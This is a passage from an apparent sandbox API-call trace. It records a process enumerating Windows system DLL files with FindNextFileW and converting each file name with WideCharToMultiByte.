cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x3ec288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x3ec120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0026.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x3ec120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0026.603] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x3ec288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x3ec120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x3ec288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x3ec120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x3ec288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x3ec120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x3ec288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.604] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0026.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x3ec120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x3ec120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x3ec288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0026.605] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, 